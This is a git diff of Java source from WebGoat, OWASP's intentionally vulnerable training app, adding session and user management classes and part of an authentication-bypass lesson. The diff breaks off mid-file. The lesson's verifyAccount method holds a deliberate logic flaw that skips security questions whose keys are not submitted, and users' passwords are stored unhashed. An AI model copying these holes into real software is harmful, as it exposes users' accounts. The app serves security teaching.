b/src/main/java/org/owasp/webgoat/container/service/SessionService.java new file mode 100644 index 000000000..b1a14d2c2 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/service/SessionService.java @@ -0,0 +1,33 @@ +/* + * To change this license header, choose License Headers in Project Properties. + * To change this template file, choose Tools | Templates + * and open the template in the editor. + */ + +package org.owasp.webgoat.container.service; + +import lombok.RequiredArgsConstructor; +import org.owasp.webgoat.container.i18n.Messages; +import org.owasp.webgoat.container.session.WebSession; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; + +@Controller +@RequiredArgsConstructor +public class SessionService { + + private final WebSession webSession; + private final RestartLessonService restartLessonService; + private final Messages messages; + + @RequestMapping(path = "/service/enable-security.mvc", produces = "application/json") + @ResponseBody + public String applySecurity() { + webSession.toggleSecurity(); + restartLessonService.restartLesson(); + + var msg = webSession.isSecurityEnabled() ? "security.enabled" : "security.disabled"; + return messages.getMessage(msg); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/session/Course.java b/src/main/java/org/owasp/webgoat/container/session/Course.java new file mode 100644 index 000000000..225af4053 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/session/Course.java @@ -0,0 +1,99 @@ +package org.owasp.webgoat.container.session; + +import java.util.List; +import lombok.extern.slf4j.Slf4j; +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; + +/** + * ************************************************************************************************ + * + *

+ * + *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + * @author Bruce Mayhew WebGoat + * @version $Id: $Id + * @since October 28, 2003 + */ +@Slf4j +public class Course { + + private List lessons; + + public Course(List lessons) { + this.lessons = lessons; + } + + /** + * Gets the categories attribute of the Course object + * + * @return The categories value + */ + public List getCategories() { + return lessons.parallelStream().map(Lesson::getCategory).distinct().sorted().toList(); + } + + /** + * Gets the firstLesson attribute of the Course object + * + * @return The firstLesson value + */ + public Lesson getFirstLesson() { + // Category 0 is the admin function. We want the first real category + // to be returned. This is normally the General category and the Http Basics lesson + return getLessons(getCategories().get(0)).get(0); + } + + /** + * Getter for the field lessons. + * + * @return a {@link java.util.List} object. + */ + public List getLessons() { + return this.lessons; + } + + /** + * Getter for the field lessons. + * + * @param category a {@link org.owasp.webgoat.container.lessons.Category} object. + * @return a {@link java.util.List} object. + */ + public List getLessons(Category category) { + return this.lessons.stream().filter(l -> l.getCategory() == category).toList(); + } + + public void setLessons(List lessons) { + this.lessons = lessons; + } + + public int getTotalOfLessons() { + return this.lessons.size(); + } + + public int getTotalOfAssignments() { + return this.lessons.stream() + .reduce(0, (total, lesson) -> lesson.getAssignments().size() + total, Integer::sum); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/session/LabelDebugger.java b/src/main/java/org/owasp/webgoat/container/session/LabelDebugger.java new file mode 100644 index 000000000..34e7b7111 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/session/LabelDebugger.java @@ -0,0 +1,42 @@ +package org.owasp.webgoat.container.session; + +import java.io.Serializable; + +/** + * LabelDebugger class. + * + * @author dm + * @version $Id: $Id + */ +public class LabelDebugger implements Serializable { + + private boolean enabled = false; + + /** + * isEnabled. + * + * @return a boolean. + */ + public boolean isEnabled() { + return enabled; + } + + /** Enables label debugging */ + public void enable() { + this.enabled = true; + } + + /** Disables label debugging */ + public void disable() { + this.enabled = false; + } + + /** + * Sets the status to enabled + * + * @param enabled {@link org.owasp.webgoat.container.session.LabelDebugger} object + */ + public void setEnabled(boolean enabled) { + this.enabled = enabled; + } +} diff --git a/src/main/java/org/owasp/webgoat/container/session/UserSessionData.java b/src/main/java/org/owasp/webgoat/container/session/UserSessionData.java new file mode 100644 index 000000000..be55c3971 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/session/UserSessionData.java @@ -0,0 +1,32 @@ +package org.owasp.webgoat.container.session; + +import java.util.HashMap; + +/** Created by jason on 1/4/17. */ +public class UserSessionData { + + private HashMap userSessionData = new HashMap<>(); + + public UserSessionData() {} + + public UserSessionData(String key, String value) { + setValue(key, value); + } + + // GETTERS & SETTERS + public Object getValue(String key) { + if (!userSessionData.containsKey(key)) { + return null; + } + // else + return userSessionData.get(key); + } + + public void setValue(String key, Object value) { + if (userSessionData.containsKey(key)) { + userSessionData.replace(key, value); + } else { + userSessionData.put(key, value); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/container/session/WebSession.java b/src/main/java/org/owasp/webgoat/container/session/WebSession.java new file mode 100644 index 000000000..22b339db6 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/session/WebSession.java @@ -0,0 +1,90 @@ +package org.owasp.webgoat.container.session; + +import java.io.Serializable; +import org.owasp.webgoat.container.lessons.Lesson; +import org.owasp.webgoat.container.users.WebGoatUser; +import org.springframework.security.core.context.SecurityContextHolder; + +/** + * ************************************************************************************************* + * + *

+ * + *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + * @author Jeff Williams Aspect Security + * @author Bruce Mayhew WebGoat + * @version $Id: $Id + * @since October 28, 2003 + */ +public class WebSession implements Serializable { + + private static final long serialVersionUID = -4270066103101711560L; + private final WebGoatUser currentUser; + private transient Lesson currentLesson; + private boolean securityEnabled; + + public WebSession() { + this.currentUser = + (WebGoatUser) SecurityContextHolder.getContext().getAuthentication().getPrincipal(); + } + + /** + * Setter for the field currentScreen. + * + * @param lesson current lesson + */ + public void setCurrentLesson(Lesson lesson) { + this.currentLesson = lesson; + } + + /** + * getCurrentLesson. + * + * @return a {@link Lesson} object. + */ + public Lesson getCurrentLesson() { + return this.currentLesson; + } + + /** + * Gets the userName attribute of the WebSession object + * + * @return The userName value + */ + public String getUserName() { + return currentUser.getUsername(); + } + + public WebGoatUser getUser() { + return currentUser; + } + + public void toggleSecurity() { + this.securityEnabled = !this.securityEnabled; + } + + public boolean isSecurityEnabled() { + return securityEnabled; + } +} diff --git a/src/main/java/org/owasp/webgoat/container/users/LessonTracker.java b/src/main/java/org/owasp/webgoat/container/users/LessonTracker.java new file mode 100644 index 000000000..2cc0c58af --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/users/LessonTracker.java @@ -0,0 +1,109 @@ +package org.owasp.webgoat.container.users; + +import java.util.*; +import java.util.stream.Collectors; +import javax.persistence.*; +import lombok.Getter; +import org.owasp.webgoat.container.lessons.Assignment; +import org.owasp.webgoat.container.lessons.Lesson; + +/** + * ************************************************************************************************ + * + *

+ * + *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + * @author Bruce Mayhew WebGoat + * @version $Id: $Id + * @since October 29, 2003 + */ +@Entity +public class LessonTracker { + + @Id + @GeneratedValue(strategy = GenerationType.AUTO) + private Long id; + + @Getter private String lessonName; + + @OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER) + private final Set solvedAssignments = new HashSet<>(); + + @OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER) + private final Set allAssignments = new HashSet<>(); + + @Getter private int numberOfAttempts = 0; + @Version private Integer version; + + private LessonTracker() { + // JPA + } + + public LessonTracker(Lesson lesson) { + lessonName = lesson.getId(); + allAssignments.addAll(lesson.getAssignments() == null ? List.of() : lesson.getAssignments()); + } + + public Optional getAssignment(String name) { + return allAssignments.stream().filter(a -> a.getName().equals(name)).findFirst(); + } + + /** + * Mark an assignment as solved + * + * @param solvedAssignment the assignment which the user solved + */ + public void assignmentSolved(String solvedAssignment) { + getAssignment(solvedAssignment).ifPresent(solvedAssignments::add); + } + + /** + * @return did they user solved all solvedAssignments for the lesson? + */ + public boolean isLessonSolved() { + return allAssignments.size() == solvedAssignments.size(); + } + + /** Increase the number attempts to solve the lesson */ + public void incrementAttempts() { + numberOfAttempts++; + } + + /** Reset the tracker. We do not reset the number of attempts here! */ + void reset() { + solvedAssignments.clear(); + } + + /** + * @return list containing all the assignments solved or not + */ + public Map getLessonOverview() { + List notSolved = + allAssignments.stream().filter(i -> !solvedAssignments.contains(i)).toList(); + Map overview = + notSolved.stream().collect(Collectors.toMap(a -> a, b -> false)); + overview.putAll(solvedAssignments.stream().collect(Collectors.toMap(a -> a, b -> true))); + return overview; + } +} diff --git a/src/main/java/org/owasp/webgoat/container/users/RegistrationController.java b/src/main/java/org/owasp/webgoat/container/users/RegistrationController.java new file mode 100644 index 000000000..4dc628f86 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/users/RegistrationController.java @@ -0,0 +1,49 @@ +package org.owasp.webgoat.container.users; + +import javax.servlet.ServletException; +import javax.servlet.http.HttpServletRequest; +import javax.validation.Valid; +import lombok.AllArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.springframework.security.authentication.AuthenticationManager; +import org.springframework.stereotype.Controller; +import org.springframework.validation.BindingResult; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.ModelAttribute; +import org.springframework.web.bind.annotation.PostMapping; + +/** + * @author nbaars + * @since 3/19/17. + */ +@Controller +@AllArgsConstructor +@Slf4j +public class RegistrationController { + + private UserValidator userValidator; + private UserService userService; + private AuthenticationManager authenticationManager; + + @GetMapping("/registration") + public String showForm(UserForm userForm) { + return "registration"; + } + + @PostMapping("/register.mvc") + public String registration( + @ModelAttribute("userForm") @Valid UserForm userForm, + BindingResult bindingResult, + HttpServletRequest request) + throws ServletException { + userValidator.validate(userForm, bindingResult); + + if (bindingResult.hasErrors()) { + return "registration"; + } + userService.addUser(userForm.getUsername(), userForm.getPassword()); + request.login(userForm.getUsername(), userForm.getPassword()); + + return "redirect:/attack"; + } +} diff --git a/src/main/java/org/owasp/webgoat/container/users/Scoreboard.java b/src/main/java/org/owasp/webgoat/container/users/Scoreboard.java new file mode 100644 index 000000000..2f5ddefe2 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/users/Scoreboard.java @@ -0,0 +1,83 @@ +package org.owasp.webgoat.container.users; + +import java.util.ArrayList; +import java.util.List; +import java.util.Optional; +import lombok.AllArgsConstructor; +import lombok.Getter; +import org.owasp.webgoat.container.i18n.PluginMessages; +import org.owasp.webgoat.container.lessons.Lesson; +import org.owasp.webgoat.container.session.Course; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RestController; + +/** + * Temp endpoint just for the CTF. + * + * @author nbaars + * @since 3/23/17. + */ +@RestController +@AllArgsConstructor +public class Scoreboard { + + private final UserTrackerRepository userTrackerRepository; + private final UserRepository userRepository; + private final Course course; + private final PluginMessages pluginMessages; + + @AllArgsConstructor + @Getter + private class Ranking { + private String username; + private List flagsCaptured; + } + + @GetMapping("/scoreboard-data") + public List getRankings() { + List allUsers = userRepository.findAll(); + List rankings = new ArrayList<>(); + for (WebGoatUser user : allUsers) { + if (user.getUsername().startsWith("csrf-")) { + // the csrf- assignment specific users do not need to be in the overview + continue; + } + UserTracker userTracker = userTrackerRepository.findByUser(user.getUsername()); + rankings.add(new Ranking(user.getUsername(), challengesSolved(userTracker))); + } + /* sort on number of captured flags to present an ordered ranking */ + rankings.sort((o1, o2) -> o2.getFlagsCaptured().size() - o1.getFlagsCaptured().size()); + return rankings; + } + + private List challengesSolved(UserTracker userTracker) { + List challenges = + List.of( + "Challenge1", + "Challenge2", + "Challenge3", + "Challenge4", + "Challenge5", + "Challenge6", + "Challenge7", + "Challenge8", + "Challenge9"); + return challenges.stream() + .map(userTracker::getLessonTracker) + .flatMap(Optional::stream) + .filter(LessonTracker::isLessonSolved) + .map(LessonTracker::getLessonName) + .map(this::toLessonTitle) + .toList(); + } + + private String toLessonTitle(String id) { + String titleKey = + course.getLessons().stream() + .filter(l -> l.getId().equals(id)) + .findFirst() + .map(Lesson::getTitle) + .orElse("No title"); + return pluginMessages.getMessage(titleKey, titleKey); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/users/UserForm.java b/src/main/java/org/owasp/webgoat/container/users/UserForm.java new file mode 100644 index 000000000..416bba094 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/users/UserForm.java @@ -0,0 +1,31 @@ +package org.owasp.webgoat.container.users; + +import javax.validation.constraints.NotNull; +import javax.validation.constraints.Pattern; +import javax.validation.constraints.Size; +import lombok.Getter; +import lombok.Setter; + +/** + * @author nbaars + * @since 3/19/17. + */ +@Getter +@Setter +public class UserForm { + + @NotNull + @Size(min = 6, max = 45) + @Pattern(regexp = "[a-z0-9-]*", message = "can only contain lowercase letters, digits, and -") + private String username; + + @NotNull + @Size(min = 6, max = 10) + private String password; + + @NotNull + @Size(min = 6, max = 10) + private String matchingPassword; + + @NotNull private String agree; +} diff --git a/src/main/java/org/owasp/webgoat/container/users/UserRepository.java b/src/main/java/org/owasp/webgoat/container/users/UserRepository.java new file mode 100644 index 000000000..86d9b2cd4 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/users/UserRepository.java @@ -0,0 +1,17 @@ +package org.owasp.webgoat.container.users; + +import java.util.List; +import org.springframework.data.jpa.repository.JpaRepository; + +/** + * @author nbaars + * @since 3/19/17. + */ +public interface UserRepository extends JpaRepository { + + WebGoatUser findByUsername(String username); + + List findAll(); + + boolean existsByUsername(String username); +} diff --git a/src/main/java/org/owasp/webgoat/container/users/UserService.java b/src/main/java/org/owasp/webgoat/container/users/UserService.java new file mode 100644 index 000000000..e12668f00 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/users/UserService.java @@ -0,0 +1,59 @@ +package org.owasp.webgoat.container.users; + +import java.util.List; +import java.util.function.Function; +import lombok.AllArgsConstructor; +import org.flywaydb.core.Flyway; +import org.owasp.webgoat.container.lessons.Initializeable; +import org.springframework.jdbc.core.JdbcTemplate; +import org.springframework.security.core.userdetails.UserDetailsService; +import org.springframework.security.core.userdetails.UsernameNotFoundException; +import org.springframework.stereotype.Service; + +/** + * @author nbaars + * @since 3/19/17. + */ +@Service +@AllArgsConstructor +public class UserService implements UserDetailsService { + + private final UserRepository userRepository; + private final UserTrackerRepository userTrackerRepository; + private final JdbcTemplate jdbcTemplate; + private final Function flywayLessons; + private final List lessonInitializables; + + @Override + public WebGoatUser loadUserByUsername(String username) throws UsernameNotFoundException { + WebGoatUser webGoatUser = userRepository.findByUsername(username); + if (webGoatUser == null) { + throw new UsernameNotFoundException("User not found"); + } else { + webGoatUser.createUser(); + lessonInitializables.forEach(l -> l.initialize(webGoatUser)); + } + return webGoatUser; + } + + public void addUser(String username, String password) { + // get user if there exists one by the name + var userAlreadyExists = userRepository.existsByUsername(username); + var webGoatUser = userRepository.save(new WebGoatUser(username, password)); + + if (!userAlreadyExists) { + userTrackerRepository.save( + new UserTracker(username)); // if user previously existed it will not get another tracker + createLessonsForUser(webGoatUser); + } + } + + private void createLessonsForUser(WebGoatUser webGoatUser) { + jdbcTemplate.execute("CREATE SCHEMA \"" + webGoatUser.getUsername() + "\" authorization dba"); + flywayLessons.apply(webGoatUser.getUsername()).migrate(); + } + + public List getAllUsers() { + return userRepository.findAll(); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/users/UserSession.java b/src/main/java/org/owasp/webgoat/container/users/UserSession.java new file mode 100644 index 000000000..5bf29a7f0 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/users/UserSession.java @@ -0,0 +1,20 @@ +package org.owasp.webgoat.container.users; + +import lombok.AccessLevel; +import lombok.AllArgsConstructor; +import lombok.Getter; +import lombok.NoArgsConstructor; +import org.springframework.data.annotation.Id; + +/** + * @author nbaars + * @since 8/15/17. + */ +@Getter +@AllArgsConstructor +@NoArgsConstructor(access = AccessLevel.PROTECTED) +public class UserSession { + + private WebGoatUser webGoatUser; + @Id private String sessionId; +} diff --git a/src/main/java/org/owasp/webgoat/container/users/UserTracker.java b/src/main/java/org/owasp/webgoat/container/users/UserTracker.java new file mode 100644 index 000000000..86bdf4c14 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/users/UserTracker.java @@ -0,0 +1,127 @@ +package org.owasp.webgoat.container.users; + +import java.util.HashSet; +import java.util.Map; +import java.util.Optional; +import java.util.Set; +import java.util.stream.Collectors; +import javax.persistence.*; +import lombok.extern.slf4j.Slf4j; +import org.owasp.webgoat.container.lessons.Assignment; +import org.owasp.webgoat.container.lessons.Lesson; + +/** + * ************************************************************************************************ + * + *

+ * + *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + * @author Bruce Mayhew WebGoat + * @version $Id: $Id + * @since October 29, 2003 + */ +@Slf4j +@Entity +public class UserTracker { + + @Id + @GeneratedValue(strategy = GenerationType.AUTO) + private Long id; + + @Column(name = "username") + private String user; + + @OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER) + private Set lessonTrackers = new HashSet<>(); + + private UserTracker() {} + + public UserTracker(final String user) { + this.user = user; + } + + /** + * Returns an existing lesson tracker or create a new one based on the lesson + * + * @param lesson the lesson + * @return a lesson tracker created if not already present + */ + public LessonTracker getLessonTracker(Lesson lesson) { + Optional lessonTracker = + lessonTrackers.stream().filter(l -> l.getLessonName().equals(lesson.getId())).findFirst(); + if (!lessonTracker.isPresent()) { + LessonTracker newLessonTracker = new LessonTracker(lesson); + lessonTrackers.add(newLessonTracker); + return newLessonTracker; + } else { + return lessonTracker.get(); + } + } + + /** + * Query method for finding a specific lesson tracker based on id + * + * @param id the id of the lesson + * @return optional due to the fact we can only create a lesson tracker based on a lesson + */ + public Optional getLessonTracker(String id) { + return lessonTrackers.stream().filter(l -> l.getLessonName().equals(id)).findFirst(); + } + + public void assignmentSolved(Lesson lesson, String assignmentName) { + LessonTracker lessonTracker = getLessonTracker(lesson); + lessonTracker.incrementAttempts(); + lessonTracker.assignmentSolved(assignmentName); + } + + public void assignmentFailed(Lesson lesson) { + LessonTracker lessonTracker = getLessonTracker(lesson); + lessonTracker.incrementAttempts(); + } + + public void reset(Lesson al) { + LessonTracker lessonTracker = getLessonTracker(al); + lessonTracker.reset(); + } + + public int numberOfLessonsSolved() { + int numberOfLessonsSolved = 0; + for (LessonTracker lessonTracker : lessonTrackers) { + if (lessonTracker.isLessonSolved()) { + numberOfLessonsSolved = numberOfLessonsSolved + 1; + } + } + return numberOfLessonsSolved; + } + + public int numberOfAssignmentsSolved() { + int numberOfAssignmentsSolved = 0; + for (LessonTracker lessonTracker : lessonTrackers) { + Map lessonOverview = lessonTracker.getLessonOverview(); + numberOfAssignmentsSolved = + lessonOverview.values().stream().filter(b -> b).collect(Collectors.counting()).intValue(); + } + return numberOfAssignmentsSolved; + } +} diff --git a/src/main/java/org/owasp/webgoat/container/users/UserTrackerRepository.java b/src/main/java/org/owasp/webgoat/container/users/UserTrackerRepository.java new file mode 100644 index 000000000..154360c3e --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/users/UserTrackerRepository.java @@ -0,0 +1,12 @@ +package org.owasp.webgoat.container.users; + +import org.springframework.data.jpa.repository.JpaRepository; + +/** + * @author nbaars + * @since 4/30/17. + */ +public interface UserTrackerRepository extends JpaRepository { + + UserTracker findByUser(String user); +} diff --git a/src/main/java/org/owasp/webgoat/container/users/UserValidator.java b/src/main/java/org/owasp/webgoat/container/users/UserValidator.java new file mode 100644 index 000000000..6301e08b3 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/users/UserValidator.java @@ -0,0 +1,35 @@ +package org.owasp.webgoat.container.users; + +import lombok.AllArgsConstructor; +import org.springframework.stereotype.Component; +import org.springframework.validation.Errors; +import org.springframework.validation.Validator; + +/** + * @author nbaars + * @since 3/19/17. + */ +@Component +@AllArgsConstructor +public class UserValidator implements Validator { + + private final UserRepository userRepository; + + @Override + public boolean supports(Class clazz) { + return UserForm.class.equals(clazz); + } + + @Override + public void validate(Object o, Errors errors) { + UserForm userForm = (UserForm) o; + + if (userRepository.findByUsername(userForm.getUsername()) != null) { + errors.rejectValue("username", "username.duplicate"); + } + + if (!userForm.getMatchingPassword().equals(userForm.getPassword())) { + errors.rejectValue("matchingPassword", "password.diff"); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/container/users/WebGoatUser.java b/src/main/java/org/owasp/webgoat/container/users/WebGoatUser.java new file mode 100644 index 000000000..517e50a60 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/users/WebGoatUser.java @@ -0,0 +1,90 @@ +package org.owasp.webgoat.container.users; + +import java.util.Collection; +import java.util.Collections; +import javax.persistence.Entity; +import javax.persistence.Id; +import javax.persistence.Transient; +import lombok.Getter; +import org.springframework.security.core.GrantedAuthority; +import org.springframework.security.core.authority.SimpleGrantedAuthority; +import org.springframework.security.core.userdetails.User; +import org.springframework.security.core.userdetails.UserDetails; + +/** + * @author nbaars + * @since 3/19/17. + */ +@Getter +@Entity +public class WebGoatUser implements UserDetails { + + public static final String ROLE_USER = "WEBGOAT_USER"; + public static final String ROLE_ADMIN = "WEBGOAT_ADMIN"; + + @Id private String username; + private String password; + private String role = ROLE_USER; + @Transient private User user; + + protected WebGoatUser() {} + + public WebGoatUser(String username, String password) { + this(username, password, ROLE_USER); + } + + public WebGoatUser(String username, String password, String role) { + this.username = username; + this.password = password; + this.role = role; + createUser(); + } + + public void createUser() { + this.user = new User(username, password, getAuthorities()); + } + + public Collection getAuthorities() { + return Collections.singleton(new SimpleGrantedAuthority(getRole())); + } + + public String getRole() { + return this.role; + } + + public String getUsername() { + return this.username; + } + + public String getPassword() { + return this.password; + } + + @Override + public boolean isAccountNonExpired() { + return this.user.isAccountNonExpired(); + } + + @Override + public boolean isAccountNonLocked() { + return this.user.isAccountNonLocked(); + } + + @Override + public boolean isCredentialsNonExpired() { + return this.user.isCredentialsNonExpired(); + } + + @Override + public boolean isEnabled() { + return this.user.isEnabled(); + } + + public boolean equals(Object obj) { + return obj instanceof WebGoatUser webGoatUser && this.user.equals(webGoatUser.user); + } + + public int hashCode() { + return user.hashCode(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/authbypass/AccountVerificationHelper.java b/src/main/java/org/owasp/webgoat/lessons/authbypass/AccountVerificationHelper.java new file mode 100644 index 000000000..41b64d518 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/authbypass/AccountVerificationHelper.java @@ -0,0 +1,96 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.authbypass; + +import java.util.HashMap; +import java.util.Map; + +/** Created by appsec on 7/18/17. */ +public class AccountVerificationHelper { + + // simulating database storage of verification credentials + private static final Integer verifyUserId = 1223445; + private static final Map userSecQuestions = new HashMap<>(); + + static { + userSecQuestions.put("secQuestion0", "Dr. Watson"); + userSecQuestions.put("secQuestion1", "Baker Street"); + } + + private static final Map secQuestionStore = new HashMap<>(); + + static { + secQuestionStore.put(verifyUserId, userSecQuestions); + } + // end 'data store set up' + + // this is to aid feedback in the attack process and is not intended to be part of the + // 'vulnerable' code + public boolean didUserLikelylCheat(HashMap submittedAnswers) { + boolean likely = false; + + if (submittedAnswers.size() == secQuestionStore.get(verifyUserId).size()) { + likely = true; + } + + if ((submittedAnswers.containsKey("secQuestion0") + && submittedAnswers + .get("secQuestion0") + .equals(secQuestionStore.get(verifyUserId).get("secQuestion0"))) + && (submittedAnswers.containsKey("secQuestion1") + && submittedAnswers + .get("secQuestion1") + .equals(secQuestionStore.get(verifyUserId).get("secQuestion1")))) { + likely = true; + } else { + likely = false; + } + + return likely; + } + // end of cheating check ... the method below is the one of real interest. Can you find the flaw? + + public boolean verifyAccount(Integer userId, HashMap submittedQuestions) { + // short circuit if no questions are submitted + if (submittedQuestions.entrySet().size() != secQuestionStore.get(verifyUserId).size()) { + return false; + } + + if (submittedQuestions.containsKey("secQuestion0") + && !submittedQuestions + .get("secQuestion0") + .equals(secQuestionStore.get(verifyUserId).get("secQuestion0"))) { + return false; + } + + if (submittedQuestions.containsKey("secQuestion1") + && !submittedQuestions + .get("secQuestion1") + .equals(secQuestionStore.get(verifyUserId).get("secQuestion1"))) { + return false; + } + + // else + return true; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/authbypass/AuthBypass.java b/src/main/java/org/owasp/webgoat/lessons/authbypass/AuthBypass.java new file mode 100644 index 000000000..8680b47d7 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/authbypass/AuthBypass.java @@ -0,0 +1,41 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.authbypass; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +@Component +public class AuthBypass extends Lesson { + + @Override + public Category getDefaultCategory() { + return Category.A7; + } + + @Override + public String getTitle() { + return "auth-bypass.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/authbypass/VerifyAccount.java b/src/main/java/org/owasp/webgoat/lessons/authbypass/VerifyAccount.java new file mode 100644 index 000000000..ed7988b13 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/authbypass/VerifyAccount.java @@ -0,0 +1,93 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for 